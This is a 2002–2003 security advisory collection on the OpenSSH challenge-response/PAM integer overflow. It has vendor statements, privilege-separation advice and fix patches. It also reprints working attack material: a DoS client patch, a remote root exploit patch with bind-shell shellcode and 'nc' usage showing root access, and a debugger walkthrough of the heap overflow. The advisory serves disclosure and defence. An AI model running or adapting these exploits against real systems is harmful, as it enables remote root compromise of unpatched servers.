18th Nov 2002 [SBWID-5482]
COMMAND
OpenSSH remote buffer overflow
SYSTEMS AFFECTED
All versions prior to (and including) 0penSSH 3.3
OpenSSH before v3.0 are not vulnerable if SKEY and BSD_AUTH options are NOT
enabled
OpenSSH afther (including) v3.0 has BSD_AUTH enabled by default and are
therefore vulnerable
Update (06 January 2003)
======
All existing PAM enabled versions of OpenSSH (3.5p1, 3.4p1 and below) ??
PROBLEM
Theo de Raadt [deraadt@cvs.openbsd.org] initialy posted a warning about
a vulnerability in openSSH. ISS [http://www.iss.net] is now posting
details thanks to Mark Dowd findings :
http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=20584
A buffer overflow can be triggered while the user responds to the
challenge during SKEY/BSD_AUTH style authentification.
Update (27 June 2002)
======
To be more specific, Markus Friedl of OpenBSD adds :
OpenSSH's sshd contain an input validation error that can result in an
integer overflow and privilege escalation.
All versions between 2.3.1 and 3.3 contain a bug in the
PAMAuthenticationViaKbdInt code.
All versions between 2.9.9 and 3.3 contain a bug in the
ChallengeResponseAuthentication code.
OpenSSH 3.4 and later are not affected.
-- See the diff in solutions for details --
Update (28 June 2002)
======
Joe Testa of Rapid7 security [http://www.rapid7.com] gives the
following DoS code to sshd :
The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):
0.) Compile with PAM and S/KEY support.
1.) Apply the following patch to the ssh client:
- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);
num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */
2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.
3.) Connect to sshd using the modified client.
Note: valid credentials are not required.
On the server side, you'll see:
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Update (01 July 2002)
======
Christophe Devine kindly sent us a remote exploit for OpenBSD &
OpenSSH 3.2 :
1. Download openssh-3.2.2p1.tar.gz and untar it
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. Apply the patch provided below by running:
~/openssh-3.2.2p1 $ patch < path_to_diff_file
3. Compile the patched client
~/openssh-3.2.2p1 $ ./configure && make ssh
4. Run the evil ssh:
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
5. If the sploit worked, you can connect to port 128 in another terminal:
~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr, 16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);
- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
Update (02 July 2002)
======
GOBBLES [http://www.immunitysec.com/GOBBLES/] provides a remote OpenSSH
exploit for 2.9.9-3.3.
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Update (06 January 2003)
======
From Mickey Mouse Hacking Squadron [mmhs@hushmail.com] (hmmm sounds
like goobles :-) ) advisory :
The following proof of concept is reproducing Global InterSec LLC
findings, enhanced with the patented research performed by Mickey Mouse
Hacking Squadron against OpenSSH 3.5p1.
First of all, the OpenSSH 3.5p1 server has to be built (with PAM
support enabled):
$ tar xzf openssh-3.5p1.tar.gz
$ cd openssh-3.5p1
$ configure --with-pam
[...]
$ make sshd
[...]
Before the SSH server is actually executed, the sshd_config file should
be modified in order to enable PAM ("PAMAuthenticationViaKbdInt yes").
# sshd
In order to reveal the nature of the OpenSSH vulnerability, the next
step is to connect to the SSH server:
$ ssh werewolf.research.mmhs.com
Password:
Thanks to the "Password:" prompt, it is clear that PAM is actually
enabled (otherwise, the prompt would have been "user@host's
password:"). This unique fingerprinting technique was investigated by
Mickey Mouse Hacking Squadron, and is already present in the latest
version of the Mickey Mouse Hacking Squadron award winning network
vulnerability assessment tool.
After the previous command was executed, the freshly spawned sshd
process has to be examined with a debugger, in order to set the correct
breakpoints within the input_userauth_info_response_pam() function of
OpenSSH, as demonstrated in the Global InterSec LLC advisory:
# gdb sshd 6552
(gdb) disassemble input_userauth_info_response_pam
[...]
0x80531bc <input_userauth_info_response_pam+192>: push %esi
0x80531bd <input_userauth_info_response_pam+193>:
call 0x807306c <xfree>
[...]
(gdb) break *0x80531bd
Breakpoint 1 at 0x80531bd: file auth2-pam.c, line 158.
(gdb) continue
Continuing.
Now that the buggy call to xfree() can be intercepted, the SSH client
should trigger the integer overlow and the resulting heap overflow:
$ ssh werewolf.research.mmhs.com
Password: <type a thousand 'A' characters here and hit enter>
After that, the xfree() breakpoint is reached, and the next call to
free() should therefore be intercepted in order to comply with the
technique developed by Global InterSec LLC:
Breakpoint 1, 0x080531bd in input_userauth_info_response_pam (type=61,
seqnr=7, ctxt=0x809c050) at auth2-pam.c:158
158 xfree(resp);
(gdb) disassemble xfree
[...]
0x807308e <xfree+34>: call 0x804ba14 <free>
[...]
(gdb) break *0x807308e
Breakpoint 2 at 0x807308e: file xmalloc.c, line 55.
(gdb) continue
Continuing.
Breakpoint 2, 0x0807308e in xfree (ptr=0x809dfb8) at xmalloc.c:55
55 free(ptr);
(gdb) x /10x 0x809dfb8
0x809dfb8: 0x41414141 0x41414141 0x41414141 0x41414141
0x809dfc8: 0x41414141 0x41414141 0x41414141 0x41414141
0x809dfd8: 0x41414141 0x41414141
From here on, as demonstrated by Global InterSec LLC, exploitation
becomes trivial. For more information on exploiting calls to free() see
the excellent Phrack article "Once upon a free()" [2].
WORK AROUND ?
-----------
As mentioned in
http://www.openssh.com/txt/preauth.adv,
and as demonstrated by noir in
http://www.phrack.org/phrack/60/p60-0x06.txt,
"you can prevent privilege escalation if you enable
UsePrivilegeSeparation in sshd_config."
SOLUTION
Post from Theo:
I can say that when OpenSSH's sshd(8) is running with priv seperation,
the bug cannot be exploited.
OpenSSH 3.3p was released a few days ago, with various improvements but
in particular, it significantly improves the Linux and Solaris support
for priv sep. However, it is not yet perfect. Compression is disabled on
some systems, and the many varieties of PAM are causing major
headaches.
However, everyone should update to OpenSSH 3.3 immediately, and enable
priv seperation in their ssh daemons, by setting this in your
/etc/ssh/sshd_config file:
UsePrivilegeSeparation yes
Depending on what your system is, privsep may break some ssh
functionality. However, with privsep turned on, you are immune from at
least one remote hole. Understand?
3.3 does not contain a fix for this upcoming bug.
If priv seperation does not work on your operating system, you need to
work with your vendor so that we get patches to make it work on your
system. Our developers are swamped enough without trying to support the
myriad of PAM and other issues which exist in various systems. You must
call on your vendors to help us.
Basically, OpenSSH sshd(8) is something like 27000 lines of code. A lot
of that runs as root. But when UsePrivilegeSeparation is enabled, the
daemon splits into two parts. A part containing about 2500 lines of
code remains as root, and the rest of the code is shoved into a
chroot-jail without any privs. This makes the daemon less vulnerable to
attack.
We've been trying to warn vendors about 3.3 and the need for privsep,
but they really have not heeded our call for assistance. They have
basically ignored us. Some, like Alan Cox, even went further stating
that privsep was not being worked on because "Nobody provided any info
which proves the problem, and many people dont trust you theo" and
suggested I "might be feeding everyone a trojan" (I think I'll publish
that letter -- it is just so funny). HP's representative was downright
rude, but that is OK because Compaq is retiring him. Except for Solar
Designer, I think none of them has helped the OpenSSH portable
developers make privsep work better on their systems. Apparently Solar
Designer is the only person who understands the need for this stuff.
So, if vendors would JUMP and get it working better, and send us
patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday
which supports these systems better. So send patches by Thursday night
please. Then on Tuesday or Wednesday the complete bug report with
patches (and exploits soon after I am sure) will hit BUGTRAQ.
Let me repeat: even if the bug exists in a privsep'd sshd, it is not
exploitable. Clearly we cannot yet publish what the bug is, or provide
anyone with the real patch, but we can try to get maximum deployement
of privsep, and therefore make it hurt less when the problem is
published.
So please push your vendor to get us maximally working privsep patches
as soon as possible!
We've given most vendors since Friday last week until Thursday to get
privsep working well for you so that when the announcement comes out
next week their customers are immunized. That is nearly a full week
(but they have already wasted a weekend and a Monday). Really I think
this is the best we can hope to do (this thing will eventually leak, at
which point the details will be published).
Customers can judge their vendors by how they respond to this issue.
OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away.
On OpenBSD privsep works flawlessly, and I have reports that is also
true on NetBSD. All other systems appear to have minor or major
weaknesses when this code is running.
Update (27 June 2002)
======
Solar Designer adds : for the privilege-separated OpenSSH sshd, please
refer to Niels Provos' web page on the topic:
http://www.citi.umich.edu/u/provos/ssh/privsep.html
Patch provided by Markus Friedl :
Index: auth2-chall.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/auth2-chall.c,v
retrieving revision 1.18
diff -u -r1.18 auth2-chall.c
--- auth2-chall.c 19 Jun 2002 00:27:55 -0000 1.18
+++ auth2-chall.c 26 Jun 2002 09:37:03 -0000
@@ -256,6 +256,8 @@
authctxt->postponed = 0; /* reset */
nresp = packet_get_int();
+ if (nresp > 100)
+ fatal("input_userauth_info_response: nresp too big %u", nresp);
if (nresp > 0) {
response = xmalloc(nresp * sizeof(char*));
for (i = 0; i < nresp; i++)
B:
Index: auth2-pam.c
===================================================================
RCS file: /var/cvs/openssh/auth2-pam.c,v
retrieving revision 1.12
diff -u -r1.12 auth2-pam.c
--- auth2-pam.c 22 Jan 2002 12:43:13 -0000 1.12
+++ auth2-pam.c 26 Jun 2002 10:12:31 -0000
@@ -140,6 +140,15 @@
nresp = packet_get_int(); /* Number of responses. */
debug("got %d responses", nresp);
+
+ if (nresp != context_pam2.num_expected)
+ fatal("%s: Received incorrect number of responses "
+ "(expected %u, received %u)", __func__, nresp,
+ context_pam2.num_expected);
+
+ if (nresp > 100)
+ fatal("%s: too many replies", __func__);
+
for (i = 0; i < nresp; i++) {
int j = context_pam2.prompts[i];
Update (06 January 2003)
======
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